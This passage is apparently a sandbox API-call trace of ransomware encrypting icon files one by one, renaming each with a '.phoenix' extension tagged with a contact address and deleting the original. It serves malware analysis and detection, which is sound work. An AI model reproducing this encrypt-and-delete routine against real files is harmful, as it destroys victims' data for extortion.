	[0066.127] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=894) returned 1
	[0066.127] CloseHandle (hObject=0x344) returned 1
	[0066.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80
	[0066.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.128] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0066.128] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.128] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.128] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0066.128] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa288) returned 1
	[0066.129] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.129] ReadFile (in: hFile=0x344, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x37e, lpOverlapped=0x0) returned 1
	[0066.168] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x380, dwBufLen=0x380 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x380) returned 1
	[0066.168] WriteFile (in: hFile=0x330, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x380, lpOverlapped=0x0) returned 1
	[0066.169] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa308) returned 1
	[0066.169] CryptSetKeyParam (hKey=0xbaa308, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.169] CryptEncrypt (in: hKey=0xbaa308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40, dwBufLen=0x40 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40) returned 1
	[0066.169] CryptDestroyKey (hKey=0xbaa308) returned 1
	[0066.169] WriteFile (in: hFile=0x330, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0xf2, lpOverlapped=0x0) returned 1
	[0066.169] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0066.170] CloseHandle (hObject=0x344) returned 1
	[0066.170] CloseHandle (hObject=0x330) returned 1
	[0066.170] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1
	[0066.172] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0066.172] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0066.172] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=894) returned 1
	[0066.172] CloseHandle (hObject=0x330) returned 1
	[0066.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80
	[0066.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.172] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0066.172] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.172] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.172] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0066.173] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa208) returned 1
	[0066.173] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.173] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x37e, lpOverlapped=0x0) returned 1
	[0066.184] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x380, dwBufLen=0x380 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x380) returned 1
	[0066.184] WriteFile (in: hFile=0x344, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x380, lpOverlapped=0x0) returned 1
	[0066.185] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa988) returned 1
	[0066.185] CryptSetKeyParam (hKey=0xbaa988, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.185] CryptEncrypt (in: hKey=0xbaa988, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40, dwBufLen=0x40 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40) returned 1
	[0066.185] CryptDestroyKey (hKey=0xbaa988) returned 1
	[0066.185] WriteFile (in: hFile=0x344, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0xf2, lpOverlapped=0x0) returned 1
	[0066.185] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0066.185] CloseHandle (hObject=0x330) returned 1
	[0066.185] CloseHandle (hObject=0x344) returned 1
	[0066.186] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1
	[0066.189] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0066.189] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0066.230] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=894) returned 1
	[0066.230] CloseHandle (hObject=0x330) returned 1
	[0066.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80
	[0066.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.233] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0066.233] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.233] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.233] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0066.234] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa488) returned 1
	[0066.234] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.234] ReadFile (in: hFile=0x320, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x37e, lpOverlapped=0x0) returned 1
	[0066.284] CryptEncrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x380, dwBufLen=0x380 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x380) returned 1
	[0066.284] WriteFile (in: hFile=0x324, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x380, lpOverlapped=0x0) returned 1
	[0066.285] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa2c8) returned 1
	[0066.285] CryptSetKeyParam (hKey=0xbaa2c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.285] CryptEncrypt (in: hKey=0xbaa2c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40, dwBufLen=0x40 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40) returned 1
	[0066.285] CryptDestroyKey (hKey=0xbaa2c8) returned 1
	[0066.285] WriteFile (in: hFile=0x324, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0xf2, lpOverlapped=0x0) returned 1
	[0066.285] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0066.285] CloseHandle (hObject=0x320) returned 1
	[0066.285] CloseHandle (hObject=0x324) returned 1
	[0066.286] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1
	[0066.287] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0066.287] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0066.288] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=894) returned 1
	[0066.288] CloseHandle (hObject=0x324) returned 1
	[0066.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80
	[0066.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.288] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0066.288] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.288] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.288] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0066.288] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa688) returned 1
	[0066.288] CryptSetKeyParam (hKey=0xbaa688, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.288] ReadFile (in: hFile=0x324, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x37e, lpOverlapped=0x0) returned 1
	[0066.370] CryptEncrypt (in: hKey=0xbaa688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x380, dwBufLen=0x380 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x380) returned 1
	[0066.373] WriteFile (in: hFile=0x320, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x380, lpOverlapped=0x0) returned 1
	[0066.374] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa6c8) returned 1
	[0066.374] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.374] CryptEncrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40, dwBufLen=0x40 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40) returned 1
	[0066.374] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0066.374] WriteFile (in: hFile=0x320, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0xf2, lpOverlapped=0x0) returned 1
	[0066.375] CryptDestroyKey (hKey=0xbaa688) returned 1
	[0066.375] CloseHandle (hObject=0x324) returned 1
	[0066.375] CloseHandle (hObject=0x320) returned 1
	[0066.376] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1
	[0066.380] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0066.380] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0066.386] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=1150) returned 1
	[0066.386] CloseHandle (hObject=0x324) returned 1
	[0066.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80
	[0066.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.390] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0066.390] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.390] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.390] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0066.454] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa348) returned 1
	[0066.454] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.454] ReadFile (in: hFile=0x344, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x47e, lpOverlapped=0x0) returned 1
	[0066.646] CryptEncrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x480, dwBufLen=0x480 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x480) returned 1
	[0066.646] WriteFile (in: hFile=0x324, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x480, lpOverlapped=0x0) returned 1
	[0066.647] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa7c8) returned 1
	[0066.647] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.647] CryptEncrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40, dwBufLen=0x40 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40) returned 1
	[0066.647] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0066.647] WriteFile (in: hFile=0x324, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0xf2, lpOverlapped=0x0) returned 1
	[0066.647] CryptDestroyKey (hKey=0xbaa348) returned 1
	[0066.647] CloseHandle (hObject=0x344) returned 1
	[0066.648] CloseHandle (hObject=0x324) returned 1
	[0066.648] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1
	[0066.650] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0066.650] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0066.650] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=10134) returned 1
	[0066.650] CloseHandle (hObject=0x324) returned 1
	[0066.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80
	[0066.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.651] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0066.651] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.651] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0066.651] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0066.651] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa7c8) returned 1
	[0066.651] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.651] ReadFile (in: hFile=0x324, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x2796, lpOverlapped=0x0) returned 1
	[0066.801] CryptEncrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x27a0, dwBufLen=0x27a0 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x27a0) returned 1
	[0066.801] WriteFile (in: hFile=0x344, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x27a0, lpOverlapped=0x0) returned 1
	[0066.802] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa808) returned 1
	[0066.802] CryptSetKeyParam (hKey=0xbaa808, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0066.802] CryptEncrypt (in: hKey=0xbaa808, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40, dwBufLen=0x40 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x40) returned 1
	[0066.802] CryptDestroyKey (hKey=0xbaa808) returned 1
	[0066.802] WriteFile (in: hFile=0x344, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0xf2, lpOverlapped=0x0) returned 1
	[0066.803] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0066.803] CloseHandle (hObject=0x324) returned 1
	[0066.803] CloseHandle (hObject=0x344) returned 1
	[0066.804] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1
	[0066.805] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
